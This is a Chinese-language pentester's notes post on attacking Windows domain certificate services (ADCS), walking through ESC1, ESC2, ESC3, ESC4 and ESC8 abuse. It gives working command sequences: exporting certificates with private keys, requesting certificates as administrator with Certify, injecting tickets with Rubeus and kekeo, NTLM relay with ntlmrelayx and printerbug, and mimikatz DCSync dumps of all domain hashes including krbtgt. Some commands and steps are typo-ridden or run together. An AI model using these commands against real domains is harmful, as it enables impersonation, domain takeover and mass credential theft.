windows域之證書攻擊手段

參考鏈接：https://xz.aliyun.com/t/10064
工具鏈接
https://github.com/GhostPack/Certify
證書服務發布的部分證書可用于kerberos認證，并且可以再返回的PAC中獲取NTMLhash。
能進行認證的證書
1、客戶端認證
2、PKINIT 客戶端身份驗證
3、智能卡登錄
4、任何目的
5、子CA
其中ECS1和ECS8是比較常用的。中間的就記錄一下。

搜索證書

certmgr.msc 圖形化界面
certutil -user -store My //查看個人證書
certutil -user -store My f95e6b5dbafac54963c450052848745a54ec7bd9 c:\Users\test1\Desktop]test1.cer //導出證書
certutil -user -exportPFX f95e6b5dbafac54963c450052848745a54ec7bd9 c:\Users\test1\Desktop]test1.pfx //導出證書包含公私鑰

利用導出的證書竊取憑借

1.查看用戶的證書 certutil -user -store My2.導出用戶證書，包含公私鑰3.本地添加證書，配代理訪問（kekeo校驗的時候看到會對域控請求，所以需要配dns代理一起，這里為了方便就直接內網機做了）tgt::pac /subject:證書用戶 /castore:current_user /domain:域控

總結一下，原因是證書中包含了用戶的ntml信息，所以我們可以導出這些ntml信息（中間涉及一些證書不可導出的參考參考鏈接mimikatz導出）

ADCS ESC1

允許低權限用戶使用任意SAN請求證書，從而允許低權限用戶通過kerberos或schannel作為域中任何主體進行身份驗證，白話文就是實現偽造身份
允許這些設置的已發布證書模板，攻擊者可以作為環境中的任何人請求證書，使用該證書為用戶獲取TGT
最終實現低權限用戶擁有域控權限

Certify.exe request /ca:yukongfu.e0mlja.com\e0mlja-YUKONGFU-CA-1 /template:LDAPS /altname:administrator//導出證書
openssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
生成證書

注入證書
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.203.2 /ptt

ADCS ESC2

和ECS1類似，主要是他的條件更為寬松導致的
我們可以使用帶有任何目的的EKU功能證書，進行客戶端、服務端的身份驗證，也可以使用無EKUs的證書來進行任何目的，或簽署新的證書
因此使用從屬CA（比跟CA低一級的CA）證書，攻擊者能夠指定新證書中的任意EKUs或字段

利用和ECS1一樣，就不繼續寫命令了

ADCS ESC3

證書請求代理EKU允許委托人代表其他用戶申請證書，對于任何注冊此模板的用戶，生成的證書可用于代表任何用戶共同簽署部署請求。代表其他用戶來申請證書，和偽造類似

根據參考文章來看，工具沒有跑出來，所以利用一下命令看
yukongfu.e0mlja.com\e0mlja-YUKONGFU-CA-1
查看 
Application Policies                  : 證書申請代理
pkiextendedkeyusage                   : 客戶端身份驗證, 證書申請代理是否具有

這里命令大同小異，記錄一下就行，2019復現出錯了。
Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3
Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3_1 /onbehalfof:TEST\administrator /enrollcert:3.pfx
openssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Rubeus.exe asktgt /user:TEST\administrator /certificate:4.pfx

ADCS ESC4

https://www.cnblogs.com/sakura521/p/15489865.html
主要還是配置錯誤導致寫權限可以寫造成的。

ADCS ESC8

證書中繼 ADCS Relay
攻擊流程
1.通過ntlm_relay,我們獲得一個以機器A用戶認證的證書
2.我們通過Rubeus asktgt功能用這個證書向AD發起kerberos認證
3.我們獲取到TGT并請求目標機器的TGS，獲取權限
參考：https://www.cnblogs.com/marksec/p/15600759.html
環境配置也見參考鏈接

攻擊利用

（1）certutil -config - -ping 獲取證書服務器的ipcertutil  -ca（2）判斷是否支持NTML方式curl  http://192.168.203.3/certsrv/ -I（3）中繼利用python3 ntlmrelayx.py  -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs 開啟中繼監聽python printerbug.py domain/user:password@192.168.237.22 192.168.237.131打印機一：keko導出（注意參考鏈接給的代碼是有問題的）kekeo:base64 /input:ontgt::ask /pfx:xxx /user:DC01$  /domain: /pttuser需要為我們獲取證書的那個機器用戶

看一下我全部的截圖+命令
privilege::debug
kerberos::purge
//清楚票據 方便對比
base64 /input:on
tgt::ask /pfx:xxx /user:DC01$  /domain: /ptt 能夠看到這里注入了一張kirtgt的票據，就可以
做金銀票了。dumphash

Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt

dumphash
lsadump::dcsync /all /csv /domain:e0mlja.com
lsadump::dcsync /user:krbtgt /csv